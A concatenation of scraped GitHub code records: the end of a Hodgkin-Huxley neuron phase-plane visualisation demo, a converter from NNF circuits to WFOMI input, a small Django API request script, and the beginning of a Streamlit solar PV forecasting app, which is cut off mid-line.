gen.auxfns.K_dssrt_fn_ninf(v), args=(v,)) for v in vs]).T[0]\n if self.first_call:\n plotter.add_data([vinfs_inv_n, vs], layer='vfp_nV', name='vinf_fastm', style='b--')\n else:\n plotter.set_data('vfp_nV', data={'vinf_fastm': {'data': [vinfs_inv_n, vs], 'style':'b--', 'display': True}}, display=True)\n\n # Virtual fixed point and linearized nullclines\n if 'fast_m' in model.name:\n vfp = None\n with_jac = False\n do_fps = False\n fast_vars = ['Na.m']\n else:\n loc.analyze(pt)\n vfp = loc.fp\n with_jac = False #True\n do_fps = False #True\n fast_vars = None\n lin_ns = np.linspace(sc[0][0], sc[0][1], 3)\n lin_vinfs = [loc.lin.auxfns.vinf(n) for n in lin_ns]\n lin_ninfs = [loc.lin.auxfns.fnin(n) for n in lin_ns]\n plotter.add_data([lin_ns, lin_vinfs], layer='vfp_nV',\n name='lin_nullV', style='b:', force=True)\n plotter.add_data([lin_ns, lin_ninfs], layer='vfp_nV',\n name='lin_nulln', style='r:', force=True)\n\n # update (or create) points\n try:\n plotter.set_point('state_pt', Point2D(pt['K.n'], pt['V']), 'points_nV')\n plotter.set_point('vinf_pt', Point2D(pt['K.n'], pt['vinf']), 'points_nV')\n if vfp:\n plotter.set_point('vfp_pt', Point2D(vfp['n'], vfp['v']), 'points_nV')\n except KeyError:\n plotter.add_point(Point2D(pt['K.n'], pt['V']),\n layer='points_nV', style='ko', name='state_pt')\n plotter.add_point(Point2D(pt['K.n'], pt['vinf']),\n layer='points_nV', style='bx', name='vinf_pt')\n if vfp:\n plotter.add_point(Point2D(vfp['n'], vfp['v']), layer='points_nV',\n name='vfp_pt', style={'color': 'y', 'marker': 'o',\n 'markersize': 5})\n\n d = fig_struct.layers['nullclines_nV'].data\n\n if not preComputed and gui._mouseUp:\n print(\"\\nComputing phase plane...\")\n print(\" Current time = %.4f\" % (time))\n\n if self.nullx is None or force:\n # compute m nullcline this once\n only_var = None\n else:\n only_var = 'V'\n\n # refresh wait notification\n ax.text(0.05, 0.95, 'wait', transform=ax.transAxes, fontsize=22,\n color='r', fontweight='bold', va='top')\n gui.masterWin.canvas.draw()\n\n # comment out for testing - use surrogate below\n nulls = computePPlaneObjects(gen, 'K.n', 'V', state=pt,\n num_x_points=self.num_x_points,\n num_y_points=self.num_y_points,\n only_var=only_var, with_jac=with_jac,\n do_fps=do_fps, fast_vars=fast_vars,\n subdomain={'V': sc[1],\n 'K.n': sc[0]})\n\n # Surrogate data - much faster to test with\n #self.nully = [[-100+time, -50+time/10., 0], [0.1, 0.4, 0.8]]\n #self.nullx = [[-130, -80, 50], [0.2, 0.3, 0.4]]\n\n self.nully = castNullArray(nulls['nullcY'])\n plotter.add_data(self.nully, layer='nullclines_nV', style=self.nullcY_style,\n name='yNull_'+str(time), force=force)\n\n # delete update 'wait' notice\n ax.texts = []\n #ax.clear()\n gui.clear_axes(ax)\n\n if only_var is None:\n # nullx is added second so will be the second line\n self.nullx = castNullArray(nulls['nullcX'])\n plotter.add_data(self.nullx, layer='nullclines_nV',\n style=self.nullcX_style,\n name='xNull', force=force)\n\n #if force:\n # rescale = sc\n #else:\n # rescale = None\n gui.build_layers(['nullclines_nV', 'points_nV', 'state_vel_nV', 'vfp_nV'],\n ax, rescale=sc, figure='Master')\n\n self.last_scale = sc\n print(\" Phase plane rebuild completed.\\n\")\n else:\n # just refresh display with the current selected data\n gui.clear_axes(ax)\n #if force:\n # rescale = sc\n #else:\n # rescale = None\n gui.build_layers(['nullclines_nV', 'points_nV', 'state_vel_nV', 'vfp_nV'],\n ax, rescale=sc, figure='Master')\n self.last_scale = sc\n\n gui.masterWin.canvas.draw()\n self.first_call = False\n\n\n# rough prototype functionality to add \"feature\"-like data to existing plots\ndef add_epochs_to_layer(kind, to_layer, epochs, style, figure=None):\n \"\"\"\n Add DSSRT epoch times to target layer as cross points in specified color.\n Target layer may not be a 'dynamic' layer.\n\n kind string e.g. 'Psi' or 'Omega'\n to_layer e.g., 'A'\n \"\"\"\n fig_struct, figure = plotter._resolve_fig(figure)\n ep_times = [ep.t0 for ep in epochs]\n\n if to_layer not in fig_struct.layers:\n raise ValueError(\"Target layer %s not found\" % to_layer)\n layer_name = kind + ' epochs @ ' + to_layer\n plotter.add_layer(layer_name, kind='epochs_'+kind)\n layer = fig_struct.layers[to_layer]\n for traj_name, traj in layer.trajs.items():\n if layer.kind == 'data':\n vals = traj(ep_times)['y']\n plotter.add_data([ep_times, vals], layer=layer_name,\n style=style,\n name=traj_name+'.epochs')\n return layer_name\n\n\n\ndef animate_frames(t0, t1, n_frames=100,\n fname_base=None,\n format='png'):\n if fname_base is None:\n 'screenshots_gK%i/fovea_gK%i_' % (Kgmax, Kgmax)\n\n assert t0 < t1\n for i, t in enumerate(np.linspace(t0, t1, n_frames)):\n print(i)\n sys.stdout.flush()\n gui.set_time(t)\n plt.savefig(fname_base+str(i+1)+'.'+format, format=format)\n\n# ------------------------------------------------------------------------\n\n## Set dssrt_name to be for saved DSSRT data file\n## Change for different parameter sets or just default to model name\n\ndssrt_name = name\n\nif 'typeI' in name and 'typeII' not in name:\n ### FOR TYPE I H-H ONLY\n Kgmax = 100 # 100 # 80 original\n dssrt_name = name+'_gK%i' % Kgmax\n model.set(pars={'K.g': Kgmax,\n 'Na.g': 50})\nelse:\n ### FOR TYPE II H-H ONLY\n Kgmax = 36 #39 or 42 with fast m # 36 original\n dssrt_name = name+'_gK%i' % Kgmax\n model.set(pars={'K.g': Kgmax,\n 'Ib.Ibias': 8.})\n\npert_time = 4.5 # choose > t_end for no pert\ndV = 0.2\n\n##test_ic = {'K.n': 0.37220277852490802,\n## 'Na.m': 0.080387043479386036,\n## 'V': -59.5}\n##model.set(ics=test_ic)\n##force_DSSRT = True\nforce_DSSRT = False #True\n\n## ----- ----- ----- ----- ----- ----- ##\n## GET GENERATOR TRAJECTORY ##\n## ----- ----- ----- ----- ----- ----- ##\n\norig_ics = model.query('ics')\n\nif 'no_h' in name:\n # no periodic orbit, just simulate for 12 ms\n if 'typeI' in name and 'typeII' not in name:\n t_end = 9\n else:\n t_end = 12\n if pert_time < t_end:\n model.set(tdata=[0, pert_time])\n model.compute('ref1')\n ref_traj1 = model['ref1']\n pts = ref_traj1.sample()\n new_ic = ref_traj1(pert_time)\n new_ic['V'] += dV\n model.set(ics=new_ic,\n tdata=[0, t_end-pert_time])\n model.compute('ref2')\n ref_traj2 = model['ref2']\n pts2 = ref_traj2.sample()\n pts2.indepvararray += pert_time\n pts.extend(pts2, skipMatchingIndepvar=True)\n ref_traj = dst.pointset_to_traj(pts)\n model.set(ics=orig_ics)\n else:\n model.set(tdata=[0, t_end])\n model.compute('ref')\n ref_traj = model['ref']\nelse:\n # get periodic orbit\n t_end = 20\n ref_traj, ref_pts, ref_tmin, ref_tmax = do_traj(model, t_end,\n do_plot=False)\n\n# re-sample traj at constant dt and declare to GUI\ntrajPts = ref_traj.sample(dt=0.01)[:-40] # cheap way to avoid overlap from pts not being periodic\n#gui.add_data_points(trajPts)\n\n\n## ----- ----- ----- ----- ----- ----- ##\n## CREATE DIAGNOSTIC OBJECT ##\n## ----- ----- ----- ----- ----- ----- ##\n\nplotter.clean()\nplotter.add_fig('Master', title='Geometric Dynamic Analysis: '+dssrt_name,\n tdom=[0, t_end])\n\n# Add layers and their data\n\nplotter.add_layer('V')\nplotter.add_data([trajPts['t'], trajPts['V']], layer='V', style='k-',\n name='V')\nplotter.add_data([trajPts['t'], trajPts['vinf']], layer='V', style='k:',\n name='Vinf')\n\nplotter.add_layer('activs')\nplotter.add_data([trajPts['t'], trajPts['Na.m']], layer='activs', style='g-',\n name='m')\nplotter.add_data([trajPts['t'], trajPts['Na.minf']], layer='activs', style='g--',\n name='minf')\n\nplotter.add_data([trajPts['t'], trajPts['K.n']], layer='activs', style='r-',\n name='n')\nplotter.add_data([trajPts['t'], trajPts['K.ninf']], layer='activs', style='r--',\n name='ninf')\n\nplotter.add_data([trajPts['t'], trajPts['tauv']], layer='activs', style='b:',\n name='tauv')\nplotter.add_data([trajPts['t'], trajPts['Na.taum']], layer='activs', style='g:',\n name='taum')\nplotter.add_data([trajPts['t'], trajPts['K.taun']], layer='activs', style='r:',\n name='taun')\n\n## ----- ----- ----- ----- ----- ----- ##\n## CALCULATE DSSRT (OMEGAs, PSIs) ##\n## ----- ----- ----- ----- ----- ----- ##\n\n(ptsDSSRT, strDSSRT, epochs_reg, epochs_rate), (da_reg, da_rate, \\\n da_reg_signed, da_rate_signed) = \\\n getHH_DSSRT(model, trajPts, dssrt_name, header=header, verbose=3,\n force=force_DSSRT)\n# strDSSRT is a table for display purposes and can be saved to .csv if needed\n\n# print out epochs to screen\nprint(\"\\nEpochs regular (psi):\")\nshow_epochs(epochs_reg)\n\nprint(\"\\nEpochs rate (omega):\")\nshow_epochs(epochs_rate)\n\n\n##### Build layers, sub-plots\nptsDSSRT['Psi_n'][0] = 1 # prevents NaN messing up plot\nptsDSSRT['Omega_n'][0] = 1 # prevents NaN messing up plot\n\nplotter.add_layer('A')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['A']], layer='A', style='k-',\n name='A')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['accn']], layer='A', style='k:',\n name='accn')\nplotter.add_layer('Omegas')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['Omega_n']], layer='Omegas', style='r-',\n name='Omega_n')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['Omega_m']], layer='Omegas', style='g-',\n name='Omega_m')\nplotter.add_layer('Vdot')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['Vdot']], layer='Vdot', style='b-',\n name='Vdot')\n\nplotter.add_layer('A_hline')\nplotter.add_hline(0, layer='A_hline', style='k:', name='zero')\n\nplotter.add_layer('rel times')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['tleft']], layer='rel times',\n style='g-', name='tleft')\nplotter.add_data([ptsDSSRT['t'], ptsDSSRT['horiz_t']], layer='rel times',\n style='b-', name='horiz_t')\nplotter.add_layer('t_hline')\nplotter.add_hline(0, layer='t_hline', style='k:', name='zero')\n\n\n##plotter.add_layer('dom_m_to_n')\n##plotter.add_data([ptsDSSRT['t'], ptsDSSRT['Psi_m']/ptsDSSRT['Psi_n']],\n## layer='dom_m_to_n', style='k-', name='psi_rat')\n##plotter.add_data([ptsDSSRT['t'], ptsDSSRT['Omega_m']/ptsDSSRT['Omega_n']],\n## layer='dom_m_to_n', style='b-', name='omega_rat')\n##plotter.add_layer('rat_hlines')\n##plotter.add_hline(1, layer='rat_hlines', style='k:', name='plus_one')\n##plotter.add_hline(-1, layer='rat_hlines', style='k:', name='minus_one')\n\n\n## ----- ----- ----- ----- ----- ----- ##\n## COMPUTE V-m PHASE PLANE ##\n## ----- ----- ----- ----- ----- ----- ##\n\n# start at t = 2ms\ngui.set_time(2)\n\n# global style defs\nvel_vec_style = {'color': 'k', 'linewidth': 2, 'linestyle': '-'}\nvinf_vec_style = {'color': 'b', 'linewidth': 2, 'linestyle': '-'}\nhoriz_style = {'color': 'k', 'linestyle': '--', 'linewidth': 2}\n\ndef make_layer(xvar):\n if xvar == 'Na.m':\n suffix = 'mV'\n else:\n suffix = 'nV'\n PP_layer_name = 'nullclines_'+suffix\n plotter.add_layer(PP_layer_name, dynamic=True)\n if xvar == 'Na.m':\n plotter.add_layer('horiz_PP')\n nullcX_style = 'g-'\n PPclass = PPcallback_m\n else:\n # no horizon layer for K.n\n nullcX_style = 'r-'\n PPclass = PPcallback_n\n PPplot = PPclass(xvar, nullcY_style = {'color': 'b', 'linestyle': '-', 'linewidth': 1},\n nullcX_style=nullcX_style)\n gui.dynamicPlotFns[PP_layer_name] = PPplot\n plotter.add_layer('points_'+suffix)\n plotter.add_layer('state_vel_'+suffix)\n plotter.add_layer('vfp_'+suffix)\n\nmake_layer('Na.m')\nmake_layer('K.n')\n\n# sub-plot specs: (row, col) integer coords start at top left\ndPlot11 = {'name': 'Trajectory',\n 'layers': ['V'],\n 'scale': [None, [-72, 40]],\n 'axes_vars': ['t', 'V'] }\n\ndPlot12 = {'name': 'Activations, Time scales',\n 'layers': ['activs'],\n 'scale': [None, [0,1]],\n 'axes_vars': ['t', 'no units, ms'] }\n\ndPlot23 = {'name': 'Magic A, Omegas',\n 'layers': ['A', 'A_hline', 'Omegas', 'Vdot'],\n 'scale': [None, [-2,2]],\n 'axes_vars': ['t', 'mV / ms'] }\n\ndPlot13 = dict(name='Linearized event times',\n layers=['rel times', 't_hline'],\n axes_vars=['t', 'time'],\n scale=[None, [-2,20]])\n\npp1_name = 'Na-V Phaseplane'\npp1_dom = [[0,0.25], [-75,40]] #-35]]\npp1_vars = ['m', 'V']\npp2_name = 'K-V Phaseplane'\n# focus on first knee\n##if 'typeI' in model.name and 'typeII' not in model.name:\n## pp2_dom = [[0.,0.3], [-75,-35]]\n##else:\n## pp2_dom = [[0.32,0.5], [-75,-35]]\npp2_dom = [[0.2,1], [-75,60]]\npp2_vars = ['n', 'V']\n\ndPlot21 = {'name': pp1_name,\n 'scale': pp1_dom,\n 'layers': ['nullclines_mV', 'horiz_PP', 'points_mV', 'state_vel_mV', 'vfp_mV'],\n 'axes_vars': pp1_vars}\n\ndPlot22 = {'name': pp2_name,\n 'scale': pp2_dom,\n 'layers': ['nullclines_nV', 'points_nV', 'state_vel_nV', 'vfp_nV'],\n 'axes_vars': pp2_vars}\n\n##dPlot22 = {'name': 'Dominance m:n',\n## 'layers': ['dom_m_to_n', 'rat_hlines'],\n## 'scale': [None, [-5, 5]],\n## 'axes_vars': ['t', 'Psi ratio']}\n\ndPlot_dict = {'11': dPlot11, '12': dPlot12, '21': dPlot21, '22': dPlot22,\n '13': dPlot13, '23': dPlot23}\n\n# add epoch info to first declared layer in each time sub-plot\nfor ixstr, dP in dPlot_dict.items():\n if dP['axes_vars'][0] != 't':\n continue\n # could improve by checking which layers are lines and have kind='data'\n data_layer = dP['layers'][0]\n epoch_layer_name_psi = add_epochs_to_layer('Psi', data_layer, epochs_reg, 'kx')\n epoch_layer_name_omega = add_epochs_to_layer('Omega', data_layer, epochs_rate, 'b+')\n dP['layers'].extend([epoch_layer_name_psi, epoch_layer_name_omega])\n\nplotter.arrange_fig([2,3], dPlot_dict)\n\ngui.build_plotter((14,7))\n\n\n##import os\n##if 'WINGDB_ACTIVE' in os.environ:\n## plt.show()\n\nplotter.show_legends(subplot='Times')\n\n##plt.figure(2)\n##plt.plot(ptsDSSRT['t'], ptsDSSRT['theta'])\n##plt.plot(ptsDSSRT['t'], ptsDSSRT['a'])\n\nplt.show()\n","repo_name":"robclewley/fovea","sub_path":"examples/HH_neuron/HH_detailed_demo.py","file_name":"HH_detailed_demo.py","file_ext":"py","file_size_in_byte":29930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"2352366599","text":"\"\"\"This is a file to convert the NNF circuits produced by KC into \nthe type of input expected by the WFOMI calculation code.\n\nThere are two ways this can be done -- by converting to a text file that is then parsed\nby WFOMI, or by creating the WFOMI circuits directly.\nWe start with the former as it is likely simpler and makes debugging easier by keeping the two parts separate.\"\"\"\n\nfrom kc.data_structures import *\nfrom kc.util import build_nx_graph_from_nnf\nfrom kc.util import draw_nx_graph_from_nnf\nfrom copy import copy, deepcopy\n\nimport re\nfrom typing import Optional, Tuple, Dict, List\n\nfrom collections import deque\n\ndef nnf_to_wfomi_string(root: 'NNFNode') -> str:\n \"\"\"Produce a string that, when written to a txt file, can be used as input\n for WFOMI\"\"\"\n nodes_string = \"\"\n edges_string = \"\"\n # doing a depth-first search to produce the node and edge strings\n global_index = 0 # keep track of which indices have already been used\n # get rid of things WFOMI can't handle\n root = prepare_nnf_for_wfomi(root)\n unvisited_queue = deque([(root, global_index)])\n global_index += 1\n while len(unvisited_queue) > 0:\n current_node, parent_index = unvisited_queue.pop()\n current_node_string = current_node.get_node_string()\n nodes_string += f\"n{parent_index} {current_node_string}\\n\"\n\n for child in current_node.children:\n child_index = global_index\n # add an edge string for this connection\n edge_string = f\"n{parent_index} -> n{child_index};\\n\"\n edges_string += edge_string\n unvisited_queue.append((child, child_index))\n global_index += 1\n\n string = nodes_string + edges_string\n return string\n\ndef prepare_nnf_for_wfomi(root: 'NNFNode') -> 'NNFNode':\n \"\"\"There are some changes we must make to the circuit to make it fit\n with the WFOMI solver -- no TrueNodes, and no quantifiers over two bound variables.\n The approach here is to do a depth-first search until we encounter a problem, and then\n modify a copy of the circuit in-place\"\"\"\n # root = copy(root) # hopefully this will also copy all children of root\n unvisited_queue = deque([root])\n while len(unvisited_queue) > 0:\n current_node = unvisited_queue.pop()\n # handling the case where we quantify over two variables\n if isinstance(current_node, ForAllNode) and len(current_node.bound_vars) == 2:\n returned_node: Optional['NNFNode']\n returned_node, current_node = replace_double_for_all(current_node)\n if returned_node is not None:\n root = returned_node\n\n # TODO: Make this less atrocious\n for child in current_node.children:\n # handling the specific case where this is an And of a TrueNode with something else\n # TODO maybe need to handle Or with True as well\n if isinstance(child, TrueNode) and isinstance(current_node, AndNode):\n returned_node = remove_true_node(child, current_node)\n if returned_node is not None:\n root = returned_node\n else:\n unvisited_queue.append(child)\n return root\n\ndef remove_true_node(true_node: 'TrueNode', and_node: 'AndNode') -> Optional['NNFNode']:\n \"\"\"Simplify the nnf IN PLACE by removing a redundant true/and node pair\"\"\"\n # if there are no parents, just return the other branch with no children\n if len(and_node.parents) == 0:\n if and_node.left == true_node:\n and_node.right.parents = []\n return and_node.right\n elif and_node.right == true_node:\n and_node.left.parents = []\n return and_node.left\n # otherwise we have to figure out what kind of node the parent is, and replace this AndNode and TrueNode with the other branch of the And.\n else:\n parent = and_node.parents[0]\n if isinstance(parent, IntensionalNode):\n if and_node.left == true_node:\n parent.child = and_node.right\n parent.children = (and_node.right,)\n and_node.right.parents = [parent]\n elif and_node.right == true_node:\n parent.child = and_node.left\n parent.children = (and_node.left,)\n and_node.left.parents = [parent]\n\n elif isinstance(parent, ExtensionalNode):\n if and_node.left == true_node:\n if parent.left == and_node:\n parent.left = and_node.right\n parent.children = (parent.left, parent.right)\n and_node.right.parents = [parent]\n elif parent.right == and_node:\n parent.right = and_node.left\n parent.children = (parent.left, parent.right)\n and_node.right.parents = [parent]\n\n elif and_node.right == true_node:\n if parent.left == and_node:\n parent.left = and_node.left\n parent.children = (parent.left, parent.right)\n and_node.left.parents = [parent]\n elif parent.right == and_node:\n parent.right = and_node.left\n parent.children = (parent.left, parent.right)\n and_node.left.parents = [parent]\n return None\n\ndef replace_double_for_all(for_all_node: 'ForAllNode') -> Tuple[Optional['ForAllNode'], 'ForAllNode'] :\n \"\"\"Replace IN PLACE a for-all node over two variables with two for-all nodes\n If we have replaced the root, return that (or None). Additioally, return the new current node to search from\n NOTE TODO: This may cause problems with IPG\"\"\"\n bound_var, second_bound_var = sorted(for_all_node.bound_vars)\n domain, second_domain = for_all_node.cs.get_domain_for_variable(bound_var), for_all_node.cs.get_domain_for_variable(second_bound_var) \n constraints = ConstraintSet([c for c in for_all_node.cs.set_constraints if c.logical_term == bound_var])\n # DEBUG TRying out putting logical constraints on larger domain\n second_constraints = ConstraintSet([c for c in for_all_node.cs.set_constraints if c.logical_term == second_bound_var])\n # the bigger domain gets the logical constraints\n if domain.is_strict_superset_of(second_domain):\n constraints = constraints.join(ConstraintSet(for_all_node.cs.logical_constraints))\n else:\n second_constraints = second_constraints.join(ConstraintSet(for_all_node.cs.logical_constraints))\n\n # second_constraints = ConstraintSet([c for c in for_all_node.cs.constraints if not (isinstance(c, SetConstraint) and c.logical_term == bound_var)])\n # build in reverse order so we can have the right children\n second_for_all = ForAllNode(for_all_node.child, [second_bound_var], second_constraints)\n for_all_node.child.parents = [second_for_all]\n new_for_all = ForAllNode(second_for_all, [bound_var], constraints)\n \n # update the children of the for_all_node\n for child in for_all_node.children:\n child.parents = [second_for_all]\n # now update the parent with the new for alls if there are any\n if len(for_all_node.parents) == 0:\n return new_for_all, second_for_all\n else:\n parent = for_all_node.parents[0]\n if isinstance(parent, IntensionalNode):\n parent.child, parent.children = new_for_all, (new_for_all,)\n elif isinstance(parent, ExtensionalNode):\n if parent.left == for_all_node:\n parent.left = new_for_all\n parent.children = (parent.left, parent.right)\n if parent.right == for_all_node:\n parent.right = new_for_all\n parent.children = (parent.left, parent.right)\n return None, second_for_all\n\ndef write_string_to_txt(string: str, file_name: str) -> None:\n \"\"\"Write a string to a txt file\"\"\"\n with open(file_name + \".txt\", 'w') as f:\n f.write(string)\n\ndef write_nnf_to_txt(root: 'NNFNode', file_name: str) -> None:\n \"\"\"Process and then write an nnf to a file\"\"\"\n string = nnf_to_wfomi_string(root)\n print(string)\n write_string_to_txt(string, file_name)\n\ndef write_nnf_and_weights_to_txt(root: 'NNFNode',\n weights: Dict['str', 'str'],\n nnf_name: str,\n weights_name: str) -> None:\n \"\"\"Process and then write an nnf and its weights to files\"\"\"\n string = nnf_to_wfomi_string(root)\n weight_lines: List[str] = []\n # we'll say that only SMT predicates can contain underscores\n for line in string.split('\\n'):\n if len(line) > 0 and line[-1] != ';' and '_' in line:\n # parse the line to get the bounds out\n # explanation at https://regex101.com/r/W0pdBX/2\n bounds_regex = r\"n\\d+ (neg |)?(.+)_(-?\\d+|-inf)_(-?\\d+|inf)\"\n polarity, name, lower_bound, upper_bound = re.findall(bounds_regex, line)[0]\n weight_function = weights[name]\n full_line = f\"{polarity + name}{weight_function} bounds[{lower_bound}, {upper_bound}]\"\n print(full_line)\n\nif __name__ == \"__main__\":\n X = LogicalVariable('X')\n Y = LogicalVariable('Y')\n People = RootDomain([Constant('alice')], 'People')\n clause1 = Literal(Atom(SMTPredicate(\"hi\", 1, -53, 7), [X]), False)\n # clause1 = Literal(Atom(Predicate(\"hi\", 1), [X]))\n clause2 = Literal(Atom(SMTPredicate(\"bye\", 1, float('-inf'), 111), [X]), True)\n # clause2 = Literal(Atom(SMTPredicate(\"bye\", 1, float('-inf'), 111), [X]), False)\n root = AndNode(LiteralNode(clause1), AndNode(LiteralNode(clause2), TrueNode()))\n processed_root = prepare_nnf_for_wfomi(root)\n # draw_nx_graph_from_nnf(root)\n # draw_nx_graph_from_nnf(processed_root)\n weight_dict = {'bye': '(x)fun 1', 'hi': '(x)fun (1-x)'}\n write_nnf_and_weights_to_txt(root, weight_dict, 1, 1)\n\n# root1 = ForAllNode(AndNode(LiteralNode(clause2), TrueNode()), [LogicalVariable('X')], ConstraintSet([]))\n# processed_root1 = prepare_nnf_for_wfomi(root1)\n# draw_nx_graph_from_nnf(root1)\n# draw_nx_graph_from_nnf(processed_root1)\n# root2 = ForAllNode(AndNode(LiteralNode(clause2), LiteralNode(clause1)), [X, Y], ConstraintSet([InclusionConstraint(X, People), InclusionConstraint(Y, People), LessThanConstraint(X, Y)]))\n# processed_root2 = prepare_nnf_for_wfomi(root2)\n# draw_nx_graph_from_nnf(root2)\n# draw_nx_graph_from_nnf(processed_root2)\n\n","repo_name":"naimenz/knowledge-compilation","sub_path":"kc/parsing/to_wfomi_input.py","file_name":"to_wfomi_input.py","file_ext":"py","file_size_in_byte":10461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19916379889","text":"import requests\nfrom decouple import config\n\n# Define the URL\nurl = 'http://127.0.0.1:8000/todo/api/todos/'\n\n# Define the headers for the request\nheaders = {f'Authorization': f'Token {config(\"TOKEN\")}',}\n\n# Make the GET request\nresponse = requests.get(url, headers=headers, verify=False)\n\n# Print the status code and the content of the response\nprint(headers)\nprint(\"Response status code:\", response.status_code)\ntry:\n print(\"Response content:\", response.json())\nexcept Exception as e:\n print(e)","repo_name":"unordmizi/my_first","sub_path":"django_4_opgave.py","file_name":"django_4_opgave.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17081504559","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[9]:\n\n\nfrom ipynb.fs.full.MEMD_all import memd\nimport streamlit as st\nimport pandas as pd\nimport datetime as dt\nfrom geopy.geocoders import Nominatim\nimport pvlib\nfrom pvlib import solarposition\nimport numpy as np\nimport math\nimport datetime\nimport pytz\nfrom astral.sun import sun\nfrom astral import LocationInfo\nfrom sklearn.metrics import mean_squared_error\nimport math\nimport keras\nfrom sklearn.preprocessing import MinMaxScaler\nfrom tensorflow.keras.models import save_model\nfrom tensorflow.keras.models import model_from_json\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.layers import Dropout\nfrom kerastuner.tuners import RandomSearch\nfrom kerastuner.engine.hyperparameters import HyperParameters\nfrom pickle import dump, load\nfrom attention import Attention\nfrom tensorflow.keras import Input\nfrom tensorflow.keras.layers import Dense, LSTM\nfrom tensorflow.keras.models import load_model, Model\nimport tensorflow as tf\n\nstop_early = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=15)\nimport warnings\n\nwarnings.simplefilter(\"ignore\", UserWarning)\n\nimport seaborn as sns\nimport pickle\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.callbacks import EarlyStopping\n\nfrom datetime import time\n\ncc1 = time.fromisoformat(\"06:55:00\")\ncc12 = time.fromisoformat(\"17:05:00\")\n\n\ndef split_data(df2, train_size):\n train_days = math.floor(len(df2) * train_size / 44)\n train_data, test_data = df2.iloc[0:train_days * 44], df2.iloc[train_days * 44:len(df2)]\n return train_data, test_data\n\n\ndef create_trainable_dataset(dataframe, n_inputs, n_outputs):\n X, Y = list(), list()\n for i in range(len(dataframe) - n_inputs - n_outputs + 1):\n X.append(dataframe.iloc[i:(i + n_inputs), :])\n Y.append(dataframe.iloc[i + n_inputs:i + n_inputs + n_outputs, -1])\n return np.array(X), np.array(Y)\n\n\n# Set the title of the app\nst.title(\"Solar PV Forecasting\")\n\n# Task 1: Ask the user to input location at which PV plant is located\nlocation = st.text_input(\"Enter the location of your PV plant:\")\n\n# Task 2: Extract the longitude and latitude using geopy\n\nif location:\n geolocator = Nominatim(user_agent=\"my_app\")\n location = geolocator.geocode(location)\nif location is not None:\n lat, lon = location.latitude, location.longitude\n st.write(f\"Latitude: {lat:.3f}, Longitude: {lon:.3f}\")\nelse:\n st.write(\"Unable to get the location coordinates. Please try again.\")\n\n# create a dropdown menu for the user to select one of two values\noptions = [\"PV power data only\", \"PV power + weather data\"]\nselected_option = st.selectbox(\"Select an option:\", options)\n\n# display the selected option back to the user\nst.write(\"You selected:\", selected_option)\n\n# if the user selected \"PV power data only\", display a sample table with two columns: \"Date\" and \"PV power\"\nif selected_option == \"PV power data only\":\n # create a sample dataframe with two columns: \"Date\" and \"PV power\"\n dates = pd.date_range(\"2023-01-01 7:00:00\", \"2023-01-07\", freq=\"15T\")\n pv_power = [2.3, 3.4, 4.5, 5.6, 6.7, 7.8, 8.9]\n data = {\"Date\": dates[0:7], \"PV power\": pv_power}\n df = pd.DataFrame(data)\n\n # format the date column and the PV power column\n df[\"Date\"] = df[\"Date\"].dt.strftime(\"%d-%m-%Y %H:%M:%S\")\n df[\"PV power\"] = df[\"PV power\"].astype(str) + \" kW\"\n\n # display the sample table to the user\n st.write(\"Sample table:\")\n st.write(df)\n\n# if the user selected \"PV power + weather data\", display a sample table with multiple columns: \"Date\", \"Ambient temperature\", \"Irradiation\", \"Wind Speed\", \"Relative Humidity\", \"Cloud Cover\", and \"Rainfall\"\nif selected_option == \"PV power + weather data\":\n # create a sample dataframe with multiple columns: \"Date\", \"Ambient temperature\", \"Irradiation\", \"Wind Speed\", \"Relative Humidity\", \"Cloud Cover\", and \"Rainfall\"\n dates = pd.date_range(\"2023-01-01 7:00:00\", \"2023-01-07\", freq=\"15T\")\n ambient_temperature = [23.4, 24.5, 25.6, 26.7, 27.8, 28.9, 30.0]\n irradiation = [200, 300, 450, 560, 670, 780, 890]\n wind_speed = [1.2, 2.3, 3.4, 4.5, 5.6, 6.7, 7.8]\n relative_humidity = [50, 51, 52, 53, 54, 55, 56]\n cloud_cover = [0, 1, 2, 3, 4, 5, 6]\n rainfall = [0, 0, 0, 0, 0, 0, 0]\n pv_power = [2.3, 3.4, 4.5, 5.6, 6.7, 7.8, 8.9]\n data = {\"Date\": dates[0:7], \"Ambient temperature\": ambient_temperature, \"Irradiation\": irradiation,\n \"Wind Speed\": wind_speed, \"Relative Humidity\":\n relative_humidity, \"Cloud Cover\": cloud_cover, \"Rainfall\": rainfall, \"PV power\": pv_power}\n df = pd.DataFrame(data)\n\n # format the date column and the other columns\n df[\"Date\"] = df[\"Date\"].dt.strftime(\"%d-%m-%Y %H:%M:%S\")\n df[\"Ambient temperature\"] = df[\"Ambient temperature\"].astype(str) + \" °C\"\n df[\"Irradiation\"] = df[\"Irradiation\"].astype(str) + \" W/m²\"\n df[\"Wind Speed\"] = df[\"Wind Speed\"].astype(str) + \" m/s\"\n df[\"Relative Humidity\"] = df[\"Relative Humidity\"].astype(str) + \" %\"\n df[\"Cloud Cover\"] = df[\"Cloud Cover\"].astype(str) + \" oktas\"\n df[\"Rainfall\"] = df[\"Rainfall\"].astype(str) + \" mm\"\n df[\"PV power\"] = df[\"PV power\"].astype(str) + \" kW\"\n\n # display the sample table to the user\n st.write(\n \"Sample table with variables: Date; Ambient temperature; Irradiation; Wind Speed; Relative Humidity; Cloud Cover; Rainfall; PV power\")\n st.write(df)\n\nst.write(\n \"Note: Please provide data in the above format only. Strictly follow the variable names and no need to write unit of variables. It is just for your information\")\n# Task4: Ask the user to uplaod excel or csv file such that it strictly follows the provided sample table (including the variable names)\n# Define expected column names\ncol_names = ['Date', 'PV Power (kW)', 